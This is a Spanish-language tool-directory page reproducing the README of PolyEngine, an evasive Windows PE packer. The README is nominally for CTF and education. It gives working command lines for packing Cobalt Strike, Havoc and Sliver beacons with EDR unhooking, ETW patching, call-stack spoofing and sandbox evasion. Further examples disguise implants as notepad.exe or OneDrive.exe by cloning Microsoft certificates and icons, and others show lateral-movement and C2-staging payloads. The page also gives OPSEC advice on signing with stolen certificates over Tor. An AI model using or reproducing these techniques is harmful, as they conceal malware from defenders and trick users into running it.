Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PolyEngine — PolyEngine es un empaquetador de PE evasivo diseñado para desafíos CTF y educación en seguridad de Windows a bajo nivel. Se centra en evadir las heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación. | Kitploit
Herramientas/GitHubGitHub/longwayhomie/polyengine
Generación de PayloadsExplotaciónEvasión de IDS/IPSAnálisis de MalwareCTFAnálisis de BinariosAprendizaje y EducaciónRed TeamingAnti-Bot
GitHublongwayhomie/polyengine

PolyEngine

PolyEngine es un empaquetador de PE evasivo diseñado para desafíos CTF y educación en seguridad de Windows a bajo nivel. Se centra en evadir las heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.

1542039hace 2 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir
# PolyEngine — Empaquetador PE Polimórfico 📦

**PolyEngine** es un empaquetador PE evasivo de grado de investigación diseñado para desafíos CTF y educación en seguridad de Windows de bajo nivel. Se centra en evadir heurísticas de EDR y AV mediante una pila en capas de ejecución en memoria y técnicas de ofuscación.

Este es un proyecto paralelo en el que he estado trabajando por un tiempo. He usado Claude Code para implementar y corregir algunas de las técnicas que quería implementar en mi propio empaquetador PE. Hay muchos comentarios sobre las funciones y lo que hacen, ya que fue una gran experiencia de aprendizaje para mí y Claude lo hace a la perfección (soy malo en eso). Espero que ayude a algunas personas a aprender algunos internals de Windows o a evadir algunos AV y detecciones estáticas de soluciones más avanzadas cuando aborden esos ProLabs 🏯. 

🔥 Un gran agradecimiento a [MalDevAcademy](https://maldevacademy.com/) por todos los materiales para crearlo y la inspiración.

🌩 Gracias a [vx-underground](https://x.com/vxunderground) por la inspiración a través de un tweet tonto con un gato ridículo.

> **Aviso legal:** Esta herramienta está destinada exclusivamente a pruebas de seguridad autorizadas, competiciones CTF y uso educativo. El uso contra sistemas sin permiso explícito está prohibido. El autor no asume ninguna responsabilidad por el mal uso.

---

## Uso

Orden de compilación: **Stub primero, luego Builder**. Stub Release|x64 genera `stub_v0.bin`..`stub_v3.bin`; Builder incrusta uno en `.rsrc`.

Asegúrate de que `stub_v0.bin`..`stub_v3.bin` estén en el directorio de trabajo (o pasa `--stub`).```
Builder.exe <input> <output> [OPTIONS]

  <input>   Target PE (.exe/.dll) or raw shellcode (.bin)
            Payload type is auto-detected from the MZ header - no flag needed.
  <output>  Output executable

Loader:
  --stub <path>              Loader stub PE  [default: random ./stub_v0.bin..stub_v3.bin]
  --preset PRINT|MEDIA|NETWORK|RANDOM
                             Module stomping DLL preset  [default: PRINT]
  --overload                 Module overloading instead of stomping
                             (NtCreateSection/NtMapViewOfSection, not in PEB LDR)
  --keep-alive               ExitThread(0) instead of ExitProcess
                             (required for C2 implants that spawn their own threads)
  --unhook                   Restore original .text bytes in ntdll/kernel32/
                             kernelbase from \KnownDlls\ clean copies
                             (overwrites EDR inline hooks before any payload syscall)

Payload  (PE/DLL only, silently ignored for shellcode):
  --export <name>            DLL export to invoke after DllMain
  --arg <string>             Argument passed to the export  [max 127 chars]

Evasion  (all ON by default):
  --spoof-name <exe>         Process name for PEB spoof  [default: random from pool]
                             Pool: RuntimeBroker.exe SgrmBroker.exe WmiPrvSE.exe
                                   SearchIndexer.exe taskhostw.exe spoolsv.exe
                                   wlrmdr.exe WMPDMC.exe hvix64.exe
  --exec-ctrl-name <name>    Semaphore name for exec-ctrl check  [default: wuauctl]
                             (max 31 chars)
  --sleep-fwd-ms <ms>        Sleep duration for sleep-fwd check  [default: 500]
                             Detection threshold: 90% of <ms> elapsed
  --uptime-min <minutes>     Uptime threshold for uptime check  [default: 2]
  --hammer-s <seconds>       API-hammer delay duration  [default: 3]
  --disable <token,token...>  Disable one or more features (comma-separated, repeatable)

  OPSEC tokens:
    etw         EtwEventWrite patch (ETW telemetry suppression)
    spoofing    Call-stack spoofing (SilentMoonwalk RSP pivot)
    peb         PEB path/cmdline spoof
    tls         TLS anti-debug callback (patches loader stub before embedding)

  Sandbox/debug check tokens:
    hammer      API-hammer timing delay (VirtualAlloc/Free loop)
    debugger    Debugger detection (PEB flags / NtQueryInformationProcess)
    api-emu     API emulation probe (RtlComputeCrc32 identity check)
    exec-ctrl   Execution-control semaphore (re-execution detection)
    sleep-fwd   Sleep-forwarding detection (timing)
    uptime      System uptime check
    cpu         CPU count check (< 2 logical cores)
    screen      Screen resolution check (<= 1024 px width)
    files       Recent-files count check (< 5 RecentDocs subkeys)
    all         Disable every token listed above

Identity spoofing:
  --pfx <path>               PFX certificate container to sign the output with
  --pfx-pass <password>      PFX passphrase  [omit if PFX has no password]
  --ts-url <url>             RFC 3161 timestamp URL  [default: no timestamping]
                             OPSEC: timestamping reveals build IP/time to the TSA.
                             Enable only when signing from an isolated VM, or when
                             the signature must survive cert revocation.
  --clone-meta <donor.exe>   Clone VERSIONINFO, icon, and Authenticode cert directory
                             from a donor PE (e.g. notepad.exe, OneDrive.exe).
                             Explorer "Details" tab shows donor company/product/version;
                             file icon matches donor; "Digital Signatures" tab shows
                             donor's signer (HashMismatch — defeats visual inspection only).
                             Name output to match donor OriginalFilename field.
                             When combined with --pfx: real signature overwrites cloned cert.
  --uac                      Embed a UAC elevation manifest (requireAdministrator).
                             Output PE prompts for admin privileges on launch.
                             Applied as Phase 10.5 (after packing, before signing).

Examples:
  Builder.exe implant.exe     packed.exe
  Builder.exe implant.exe     packed.exe --stub stub_v2.bin
  Builder.exe shellcode.bin   packed.exe --keep-alive
  Builder.exe beacon.dll      packed.exe --export Start --keep-alive
  Builder.exe payload.dll     packed.exe --export Execute --arg "calc.exe"
  Builder.exe implant.exe     packed.exe --preset NETWORK --disable etw,tls
  Builder.exe implant.exe     packed.exe --overload --hammer-s 5 --uptime-min 5
  Builder.exe implant.exe     packed.exe --exec-ctrl-name MyMutex --sleep-fwd-ms 1000
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --pfx-pass hunter2
  Builder.exe implant.exe     packed.exe --pfx cert.pfx --ts-url http://timestamp.digicert.com
  Builder.exe implant.exe     notepad.exe --clone-meta C:\Windows\System32\notepad.exe
  Builder.exe implant.exe     notepad.exe --clone-meta notepad.exe --pfx self.pfx
  Builder.exe implant.exe     packed.exe  --uac
  Builder.exe implant.exe     notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx
```
---

## Ejemplos

Ejemplos prácticos agrupados por escenario. Cada opción es de exclusión voluntaria (la evasión está completamente activada por defecto), por lo que la invocación más simple ya obtiene la pila completa.

<details>
<summary><b>Empaquetado básico - EXE / DLL / shellcode</b></summary>

Empaqueta un EXE no administrado. El constructor detecta automáticamente el encabezado `MZ` y enruta a través de la ruta RunPE:```
Builder.exe implant.exe packed.exe
```
Empaqueta shellcode raw independiente de posición (Cobalt Strike `.bin`, msfvenom `-f raw`, etc.). Sin `MZ` → llamada directa al búfer descomprimido:```
Builder.exe beacon.bin packed.exe
```
Empaqueta un DLL y llama solo a su `DllMain` predeterminada (sin exportación):```
Builder.exe payload.dll packed.exe
```
Utilice un stub de una ubicación no predeterminada:```
Builder.exe implant.exe packed.exe --stub C:\build\release\stub_v1.bin
```
</details>

<details>
<summary><b>Payloads DLL con exportaciones - Havoc / Sliver / beacons personalizados</b></summary>

Llama a una exportación nombrada después de que `DllMain` retorne. La mayoría de los implantes C2 se distribuyen como una DLL con una única exportación de entrada (ej. Havoc Demon: `Start`, Sliver: `RunSliver`):```
Builder.exe demon.dll packed.exe --export Start --keep-alive
```
Pasa un argumento de cadena a la export (máx. 127 caracteres). Útil para payloads que toman una cadena de configuración, URL o comando de shell:```
Builder.exe runner.dll packed.exe --export Execute --arg "https://c2.example.com/stage"
Builder.exe loader.dll packed.exe --export Run --arg "C:\\Windows\\System32\\calc.exe"
```
`--keep-alive` es necesario para cualquier payload que genere sus propios hilos - sin él, el loader llama a `ExitProcess` y mata el beacon.

</details>

<details>
<summary><b>Implants de larga duración (beacons de C2)</b></summary>

Cobalt Strike / Sliver / Havoc generan un hilo de beacon y regresan. El hilo del loader debe terminar sin cerrar el proceso:```
Builder.exe beacon.exe   packed.exe --keep-alive
Builder.exe beacon.bin   packed.exe --keep-alive
Builder.exe demon.dll    packed.exe --export Start --keep-alive
```
</details>

<details>
<summary><b>Presets de module stomping - elección de un DLL anfitrión</b></summary>

El stub del descifrador se oculta dentro de la sección `.text` de un DLL benigno de Windows. Elija el preset cuyos módulos cargados parezcan más legítimos para el contexto objetivo:```
Builder.exe implant.exe packed.exe --preset PRINT
Builder.exe implant.exe packed.exe --preset MEDIA
Builder.exe implant.exe packed.exe --preset NETWORK
Builder.exe implant.exe packed.exe --preset RANDOM
```
`PRINT` (predeterminado) - `xpsservices.dll`, `msi.dll`, `dbghelp.dll`. Común en la mayoría de las estaciones de trabajo.
`NETWORK` - `winhttp.dll`, `wtsapi32.dll`, `wlanapi.dll`. Se adapta a una carga que ya necesita API de red cargadas.
`RANDOM` - tres índices aleatorios del grupo completo (incluyendo `bcrypt.dll`, índice 9).

Cambio de pisado de `LoadLibraryW` a sobrecarga de `NtCreateSection`+`NtMapViewOfSection` (el DLL nunca entra en `PEB.Ldr`):```
Builder.exe implant.exe packed.exe --overload
Builder.exe implant.exe packed.exe --overload --preset NETWORK
```
</details>

<details>
<summary><b>Desenganche de EDR en espacio de usuario</b></summary>

Restaura los bytes `.text` limpios de `ntdll`, `kernel32`, `kernelbase` desde `\KnownDlls\` sobre cualquier hook inline de EDR. HellsHall ya evita los hooks sensibles de `Nt*`; `--unhook` solo es necesario cuando el propio payload llama a APIs Win32 hookeadas (p. ej. `LoadLibrary`, `CreateProcess`):```
Builder.exe implant.exe packed.exe --unhook
Builder.exe implant.exe packed.exe --unhook --preset NETWORK --keep-alive
```
</details>

<details>
<summary><b>Suplantación de PEB - enmascarando el proceso</b></summary>

Anula el nombre de suplantación elegido automáticamente. Elige algo que se ajuste al proceso padre / contexto de lanzamiento (Macro de Office → `RuntimeBroker.exe` se ve extraño, `WmiPrvSE.exe` se integra mejor):```
Builder.exe implant.exe packed.exe --spoof-name SgrmBroker.exe
Builder.exe implant.exe packed.exe --spoof-name svchost.exe
```
El nombre de suplantación es solo un nombre de archivo ASCII: Stub antepone `C:\Windows\System32\` en tiempo de ejecución. Cualquier cosa que no esté en el grupo de 9 procesos predeterminado también funciona.

</details>

<details>
<summary><b>Ajustando umbrales de evasión</b></summary>

Mayor retardo de martillo contra sandboxes pacientes que se ejecutan durante decenas de segundos antes de juzgar:```
Builder.exe implant.exe packed.exe --hammer-s 10
```
Mayor umbral de tiempo de actividad: solo ejecutar si la máquina ha estado activa durante al menos 30 minutos (la mayoría de los sandboxes crean una nueva VM por muestra):```
Builder.exe implant.exe packed.exe --uptime-min 30
```
Detección más estricta de avance de suspensión (sueño más corto, más difícil de adelantar rápidamente sin error observable):```
Builder.exe implant.exe packed.exe --sleep-fwd-ms 200
```
Nombre personalizado del semáforo para la verificación de control de ejecución (evita conflictos con otra muestra que usa el valor predeterminado `wuauctl`):```
Builder.exe implant.exe packed.exe --exec-ctrl-name OneDriveSync
```
Apila todo para un perfil paranoico:```
Builder.exe implant.exe packed.exe --hammer-s 8 --uptime-min 15 --sleep-fwd-ms 250 --exec-ctrl-name TeamsUpdate
```
</details>

<details>
<summary><b>Desactivar funciones para depuración / trabajo de laboratorio</b></summary>

Al iterar en un depurador, la devolución de llamada TLS y las comprobaciones del depurador se activan inmediatamente. Desactive ambas para adjuntar libremente:```
Builder.exe implant.exe packed.exe --disable tls,debugger
```
Omitir toda verificación de sandbox (aún mantiene las funcionalidades de OPSEC activas: parche ETW, suplantación de PEB, suplantación de pila de llamadas):```
Builder.exe implant.exe packed.exe --disable hammer,debugger,api-emu,exec-ctrl,sleep-fwd,uptime,cpu,screen,files
```
Lo mismo, más corto:```
Builder.exe implant.exe packed.exe --disable all
```
Desactivar características específicas de OPSEC (p. ej., cuando el entorno objetivo no necesita parcheo de ETW, o la suplantación de PEB rompe un payload que recorre su propio PEB):```
Builder.exe implant.exe packed.exe --disable etw
Builder.exe implant.exe packed.exe --disable peb,spoofing
```
`--disable all` solo cubre las comprobaciones de sandbox/debug. Los tokens OPSEC (`etw`, `spoofing`, `peb`, `tls`) deben listarse explícitamente.

</details>

<details>
<summary><b>Clonación de identidad — VERSIONINFO, icono, certificado Authenticode</b></summary>

Copia la identidad cosmética de cualquier PE donante en el resultado empaquetado. Las propiedades del Explorador, el icono de la barra de tareas y la pestaña de Firmas Digitales del binario resultante reflejan el donante:```
Builder.exe implant.exe notepad.exe --clone-meta C:\Windows\System32\notepad.exe
Builder.exe implant.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe"
```
Lo que se clona:
- **VERSIONINFO** (`RT_VERSION`) — pestaña "Propiedades → Detalles" del Explorador: empresa, nombre del producto, versión del archivo, derechos de autor. Se copian todos los identificadores de idioma presentes en el donante.
- **Icon** (`RT_GROUP_ICON` + `RT_ICON`) — el grupo de iconos con el ID más bajo (el que el Explorador usa para el icono del shell). La barra de tareas, Alt+Tab y el explorador de archivos muestran el icono del donante.
- **Directorio de certificados Authenticode** — el blob `WIN_CERTIFICATE` PKCS#7 sin procesar se añade al final del archivo alineado a 8 bytes. La pestaña "Propiedades → Firmas digitales" del Explorador muestra el firmante del donante (por ejemplo, `Microsoft Windows`). `Get-AuthenticodeSignature` devuelve `Status = HashMismatch` — la firma es estructuralmente válida, pero el hash cubre los bytes del donante, no los nuestros. Supera una inspección visual casual; cualquier verificador real (`signtool verify`, `WinVerifyTrust`, motores antivirus) detecta la discrepancia.

**OPSEC — OriginalFilename:** el VERSIONINFO del donante incluye `OriginalFilename` (por ejemplo, `notepad.exe`). Algunos verificadores de firmas y heurísticas de Defender marcan una discrepancia entre `OriginalFilename` y el nombre real del archivo en disco. Nombra la salida para que coincida:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe
```
**Combinación con `--pfx`:** cuando ambas banderas están presentes, la Fase 11 (clonación) se ejecuta antes de la Fase 12 (firma). La firma real sobrescribe el directorio del certificado clonado; VERSIONINFO y el icono se conservan. `Get-AuthenticodeSignature` muestra su certificado como válido, no el certificado del donante con hash no coincidente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**Verificación:**```powershell
# Fake cert clone (no --pfx): expect HashMismatch, donor signer
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# Real signature (--pfx): expect Valid, your cert
Get-AuthenticodeSignature .\notepad.exe | Format-List *

# signtool independent check
signtool verify /pa /v notepad.exe
```
</details>

<details>
<summary><b>Elevación de UAC — manifiesto requireAdministrator</b></summary>

Incrusta un manifiesto `requestedExecutionLevel="requireAdministrator"` para que el PE de salida active una solicitud de UAC al iniciarse y reciba un token de alta integridad si el usuario lo aprueba:```
Builder.exe implant.exe packed.exe --uac
```
El manifiesto es un recurso `RT_MANIFEST` (ID de recurso 1 — `CREATEPROCESS_MANIFEST_RESOURCE_ID`), la misma ranura que el cargador de Windows verifica para los manifiestos de compatibilidad de aplicaciones y privilegios. La salida es por lo demás idéntica a una compilación sin `--uac`; no hay cambios en la ruta del Stub o del payload.

**Combinación con `--clone-meta` y `--pfx`:** La Fase 10.5 (manifiesto) se ejecuta antes de la Fase 11 (clonación) y la Fase 12 (firma). La firma Authenticode calculada en la Fase 12 cubre todos los recursos incrustados, incluido el manifiesto: el hash es válido sobre el binario final. El diálogo de UAC muestra el nombre del editor del certificado de firma:```
Builder.exe implant.exe notepad.exe --uac --clone-meta notepad.exe --pfx self.pfx --pfx-pass hunter2
```
**OPSEC:** una solicitud de UAC es un evento visible para el usuario. El diálogo "¿Quieres permitir que esta aplicación realice cambios en tu dispositivo?" muestra el nombre del archivo en disco y el editor de Authenticode (o "Editor desconocido" si no está firmado). Combine `--uac` con `--clone-meta` para mostrar un icono familiar y `--pfx` para mostrar un editor creíble. Para ejecución desatendida que ya se inicia desde un proceso elevado (por ejemplo, servicio, movimiento lateral WMI, shell de administrador local), `--uac` es innecesario.

</details>

<details>
<summary><b>Firmado Authenticode (PFX, sin signtool)</b></summary>

Firme la salida empaquetada con un certificado PFX. El Builder se comunica directamente con `mssign32!SignerSignEx2` — no requiere `signtool.exe` en la estación de trabajo del operador, ni la herramienta de firma del Windows SDK:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2
```
PFX sin contraseña (omite la bandera `--pfx-pass` por completo):```
Builder.exe implant.exe packed.exe --pfx cert.pfx
```
Añada una marca de tiempo RFC 3161 para que la firma siga siendo válida después de que el certificado expire o sea revocado. Tenga en cuenta que la autoridad de sellado de tiempo registra la IP de la compilación y el momento exacto de la firma — vea la nota de OPSEC a continuación:```
Builder.exe implant.exe packed.exe --pfx cert.pfx --pfx-pass hunter2 --ts-url http://timestamp.digicert.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.sectigo.com
Builder.exe implant.exe packed.exe --pfx cert.pfx --ts-url http://timestamp.globalsign.com/tsa/r6advanced1
```
**OPSEC — cuándo omitir la marca de tiempo:** `--ts-url` es opt-in. Cada solicitud a una TSA pública coloca el host de compilación del operador en los registros HTTP de la TSA junto con el segundo exacto en que se produjo la firma, una fuerte correlación forense si la muestra aparece posteriormente en una respuesta a incidentes. Incrustar la marca de tiempo también sella ese mismo momento en el blob de firma dentro del PE empaquetado, donde cualquier analista posterior puede leerlo. Cuando no se requiere marca de tiempo (típico para certificados autofirmados u operaciones de corta duración donde la validez de la firma más allá del vencimiento del certificado no importa), omita la bandera y la firma permanece completamente aislable (air-gappable).

**OPSEC — cuándo conservar la marca de tiempo:** los certificados de firma de código robados o de corta duración que serán revocados se benefician de una contrafirma TSA: Windows acepta la firma posterior a la revocación siempre que la marca de tiempo sea anterior a la entrada de revocación. En ese caso, firme desde una VM aislada a través de un proxy / Tor, y trate los registros de la TSA como una exposición deliberada (pero contenida).

La clave privada nunca se persiste: `PFXImportCertStore` se llama con `PKCS12_NO_PERSIST_KEY`, por lo que no aparece ningún contenedor de claves en `%APPDATA%\Microsoft\Crypto`. Resumen SHA-256, KSP preferido de CNG para compatibilidad con PFX producidos por `New-SelfSignedCertificate` y OpenSSL ≥3.x.

</details>

<details>
<summary><b>Combinaciones realistas</b></summary>

Cobalt Strike beacon DLL, host con temática de red, evasión completa, nombre de mutex personalizado:```
Builder.exe beacon.dll packed.exe --export Start --keep-alive --preset NETWORK --exec-ctrl-name MicrosoftEdgeUpdate
```
Havoc Demon shellcode, sobrecarga en lugar de stomping, mayor hammer delay:```
Builder.exe demon.bin packed.exe --keep-alive --overload --hammer-s 6
```
EXE de etapa 2 para un CTF donde controlas el disparador y no necesitas anti-debug:```
Builder.exe stage2.exe packed.exe --disable all --disable tls,debugger
```
DLL auxiliar de movimiento lateral con un argumento de ruta:```
Builder.exe lateral.dll packed.exe --export Spread --arg "\\\\TARGET\\C$\\Users\\Public\\" --keep-alive --unhook
```
Implante a largo plazo disfrazado como un binario común de Microsoft, pila de evasión completa:```
Builder.exe beacon.exe OneDrive.exe --clone-meta "C:\Program Files\Microsoft OneDrive\OneDrive.exe" --keep-alive --preset NETWORK --uptime-min 10
```
Muestra empaquetada con un certificado autofirmado real + identidad VERSIONINFO coincidente:```
Builder.exe implant.exe notepad.exe --clone-meta notepad.exe --pfx lab.pfx --pfx-pass test
```
</details>

---

## Compilación

**Visual Studio 2022 (MSVC v143), solo Release|x64.** Abrir `PolyEngine.sln`.

El orden de compilación es importante:
1. **Proyecto Stub** (Release|x64) → MSBuild fan-out genera `x64/Release/stub_v0.bin` … `stub_v3.bin` (`POLY_VARIANT=0..3`)
2. **Proyecto Builder** → produce `Builder/x64/Release/Builder.exe` (o OutDir de la solución)

Cada `stub_v*.bin` es un PE con entrada de enlazador `EntryPoint` únicamente (sin CRT). Las variantes difieren en el orden de las fases OPSEC y en el diseño de señuelo/isla; HellsHall/Moonwalk se mantienen compartidos. El Builder elige uno al azar desde el CWD (o mediante `--stub`), ejecuta StubMorph y luego incrusta el payload bajo un ID RT_RCDATA por compilación.

MASM: `Stub.vcxproj` → `HellsHall.asm`; Builder → `Engine/DecryptorStub.asm`. No hay CMake, ni Makefile.

**Para añadir un nuevo hash de API:** calcular `Djb2HashA("ApiName")` (mismo algoritmo que en `ApiHashing.cpp`), agregar un global `g_Hash_*` en `ApiHashing.h`, inicializarlo en `ApiHashing_InitHashes()`.

---

## Resumen de la arquitectura

Tres componentes que implementan una canalización **pack → cifrar → inyectar**: **Builder** empaqueta el PE/shellcode de entrada, **Engine** (librería compartida) proporciona primitivas de criptografía/compresión/mutación, **Stub** es el ejecutor en tiempo de ejecución incrustado en el PE de salida.

<details>
<summary>Pipeline detallado + flujo de ejecución del Stub</summary>```
Builder.exe
  ├── picks loader stub (random stub_v0..v3.bin, or --stub <path>)
  ├── reads target PE or raw shellcode (.bin)
  ├── LZNT1 compress
  ├── CompoundEncrypt (inner cipher: XOR+ROL+ADD+XOR, per-build key)
  ├── MutationEngine → unique polymorphic ASM decryptor per build
  ├── CryptGenRandom → per-build XTEA key salt + DLL preset indices
  ├── XTEA-CTR encrypt (outer layer)
  ├── BuildInfectedPE:
  │     ├── patch TLS guard marker (--disable tls)
  │     ├── patch g_PayloadResIdMarker → per-build RT_RCDATA ID
  │     ├── StubMorph_Apply → timestamp, section-name profile, island/tag randomize
  │     ├── write stub → output PE
  │     └── UpdateResource(RT_RCDATA, id) → [XTEA blob | 280-byte metadata]
  ├── (optional) UAC manifest / clone-meta / Authenticode sign
  └── Output.exe

Output.exe (= stub_v* variant + StubMorph + .rsrc payload)
  ├── Loader_InitApis          — ApiHashing_InitHashes + resolve kernel32 APIs
  ├── Loader_LoadPayload       — GetPayloadFromResource (280-byte metadata / opsecFlags)
  ├── Loader_Evasion           — HammerDelay + RunChecks (Win32 only, before syscalls)
  ├── Loader_InitSyscalls      — FreshyCalls SSN sort + InitNtApi (HellsHall bind)
  ├── Loader_OpsecPhase        — order depends on POLY_VARIANT (0..3):
  │     Unhook / StackSpoof_Init / PatchEtw / XTEA decrypt / SpoofPeb
  │     (HellsHall.asm + g_Spoof* layout identical in every variant)
  ├── Loader_DecryptExec       — ModuleStomp or ModuleOverload; decryptor RX call (RCX=payload);
  │                               LZNT1 decompress; restore stomped .text
  └── Loader_RunPayload        — StackSpoof_Cleanup then RunPE (PE) or RX+call (shellcode);
                                  keep-alive: ExitThread (PE) or Sleep park (raw SC)
```
</details>

---

## Técnicas de Evasión

<details>
<summary><b>Variantes del Loader — <code>stub_v0.bin</code>..<code>stub_v3.bin</code></b></summary>

Stub Release|x64 construye **cuatro** loaders vía MSBuild (`POLY_VARIANT=0..3`, `IntDir` separado). Cada binario tiene un orden de fase OPSEC diferente y tamaños de señuelo/isla por variante (`PolyIslands.c`), por lo que los hashes estáticos divergen. Compartidos y **nunca** bifurcados por variante: `HellsHall.asm`, diseño de datos SilentMoonwalk (`g_SpoofSyntheticStack`), marcas de marcador TLS/ResID.

| Variante | `Loader_OpsecPhase` orden |
|---|---|
| V0 | Unhook → Spoof → ETW → XTEA → PEB |
| V1 | Spoof → Unhook → XTEA → PEB → ETW |
| V2 | Unhook → Spoof → PEB → XTEA → ETW |
| V3 | Spoof → ETW → Unhook → XTEA → PEB |

El Builder sin `--stub` elige aleatoriamente entre `stub_v0.bin`..`stub_v3.bin` en el CWD (`CryptGenRandom`). `--stub <path>` fuerza un archivo.

</details>

<details>
<summary><b>StubMorph en tiempo de empaquetado</b></summary>

Después de los parches de marcadores TLS/ResID y antes de escribir el PE de salida, `StubMorph_Apply` (`Engine/StubMorph.c`) muta la imagen del loader seleccionado en el lugar:

- `TimeDateStamp` plausible extraído de **[ahora−5y, ahora]** — un DWORD completamente aleatorio puede caer en el futuro, lo cual es un indicador heurístico
- nombres de sección con perfil de toolchain (estilo MSVC / MinGW / Delphi / NSIS, elegido por compilación; omite `.rsrc`, `.reloc`, `.tls`, `.CRT`) — nombres aleatorios de 8 caracteres activarían heurísticas de empaquetadores estilo UPX
- limpiar `IMAGE_DIRECTORY_ENTRY_DEBUG` + checksum del PE (recalculado después si `--pfx`)
- reescribir los rellenos de las islas POLY (marcadores `50 4C 59 A0` … `AF` en `PolyIslands.c`, incl. la isla `g_PolyDecoy`) con bytes aleatorios de la **misma longitud**, luego aleatorizar los propios marcadores de etiqueta — ningún patrón `PLY` o contenido de señuelo fijo sobrevive en el PE de salida; sin crecimiento del PE, sin correcciones de reloc

No toca HellsHall, spoof globals, ni los marcadores de etiqueta utilizados por el parcheo TLS/ResID.

</details>

<details>
<summary><b>Llamadas al sistema indirectas — HellsHall</b></summary>

Todas las operaciones NT sensibles (`NtProtectVirtualMemory`, `NtAllocateVirtualMemory`, etc.) pasan a través de syscalls indirectas en lugar de los stubs de modo usuario hookeados en la ntdll del proceso:

1. Al inicio, `Syscalls_Init()` analiza el Directorio de Exportación de la ntdll del proceso y recolecta el RVA de cada función `Zw*` en una tabla plana.
2. Los SSNs se derivan por **ordenamiento por RVA** (variante HellsGate/FreshyCalls): todos los RVA de `Zw*` se ordenan; el índice ordenado == SSN. Agnóstico a los hook por diseño — funciona incluso si los hooks de EDR han reescrito los prólogos de las funciones, porque los hooks no reordenan las exportaciones.
3. Se localiza un trampolín `syscall; ret` (`0F 05 C3`) dentro de la sección `.text` de la ntdll del proceso. La secuencia de 3 bytes es la cola estándar de todo stub `Nt*`. Los hooks inline de EDR en modo usuario apuntan al *punto de entrada* de las funciones `Nt*` exportadas (primeros 5–15 bytes) — nunca a la instrucción syscall al final del stub, porque parchear el medio de un stub rompería sus semánticas. Por lo tanto, los bytes en cualquier sitio coincidente no están modificados, son idénticos a un mapeo limpio de `\KnownDlls\`, y viven en memoria MEM_IMAGE respaldada por `C:\Windows\System32\ntdll.dll` en disco. `g_CleanTrampoline` apunta directamente allí — sin mapeo secundario de ntdll, sin copia MEM_PRIVATE.
4. Todas las syscalls saltan a `g_CleanTrampoline` — los hooks de EDR en los puntos de entrada de Nt* exportados son evadidos. Desde la perspectiva de un caminante de pila del lado del kernel de ETW, el marco hoja ya aterriza dentro de `ntdll.dll` (sin IOC de "unbacked syscall").

</details>

<details>
<summary><b>Desenganche en modo usuario — <code>--unhook</code></b></summary>

Pase opcional que se ejecuta una vez después de `Syscalls_Init()` y antes de cualquier syscall relevante para el payload. Para cada uno de `ntdll`, `kernel32`, `kernelbase`:

1. `NtOpenSection(\KnownDlls\<dll>)` + `NtMapViewOfSection` — bytes de imagen limpios (la misma sección compartida que el loader mapeó originalmente, antes de que cualquier EDR pudiera instalar hooks).
2. `memcmp` página por página del `.text` vivo contra la copia limpia.
3. Donde los bytes difieren (= hook inline de EDR): `NtProtect RX→RW`, `memcpy` de bytes limpios sobre el hook, `NtProtect RW→RX`.
4. Desmapear y cerrar.

Esto restaura la semántica normal de `ntdll.dll`/`kernel32.dll`/`kernelbase.dll` para cualquier llamada Win32 posterior (recorridos de PEB, `LoadLibrary`, etc.). Se omite cuando `--unhook` está ausente — HellsHall por sí solo ya evita todos los hooks `Nt*` sensibles, por lo que el desenganche es optativo (es una acción más pesada con un pequeño riesgo de romper layouts de hook inusuales).

</details>

<details>
<summary><b>Suplantación de la pila de llamadas — Pivot RSP de SilentMoonwalk</b></summary>

Los EDRs monitorean la pila de llamadas del hilo en el momento en que se dispara una syscall para verificar que la cadena de llamadas parezca legítima. PolyEngine derrota esto con un **pivot RSP estilo SilentMoonwalk** — sin breakpoints de hardware, sin manejador VEH, sin excepciones:

1. `StackSpoof_Init()` escanea la sección `.text` de ntdll (y cualquier otra sección `IMAGE_SCN_MEM_EXECUTE`) en busca de dos gadgets:
   - **Gadget 1** — `add rsp, imm8; ret` (`48 83 C4 XX C3`) dentro de una función cuyo `UNWIND_INFO` anuncia un delta `alloc` coincidente con `imm8`. Restringido a `imm8 < 0x20` para que la cadena no colisione con argumentos de pila reenviados.
   - **Gadget 2** — `jmp rbx` (`FF E3`), ubicado en cualquier sección ejecutable mediante escaneo de bytes sin procesar, pero solo se acepta si el sitio coincidente se encuentra dentro de una `RUNTIME_FUNCTION` cuyo `UNWIND_INFO` se analiza limpiamente. El `allocDelta` de la función determina dónde se planta `RtlUserThreadStart` en la pila sintética, por lo que un gadget sin una función de runtime coincidente rompería la cadena visible para EDR. Saltar a la mitad de una instrucción más larga está bien — la CPU decodifica `FF E3` desde la dirección del gadget independientemente del byte precedente.
2. Se dispone una `g_SpoofSyntheticStack[32]` estática de modo que el `ret` del trampolín recorre gadget1 → gadget2 → de vuelta al punto de continuación del loader, con `RtlUserThreadStart` plantado más abajo como la raíz aparente del hilo.
3. Cada llamada a `HellsHallSyscall` (cuando el spoofing está habilitado) hace `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11`. El kernel ve un RSP apuntando a la pila sintética, anclada en código legítimo de ntdll.
```

---

[Read more](https://github.com/longwayhomie/polyengine)
Descargar herramienta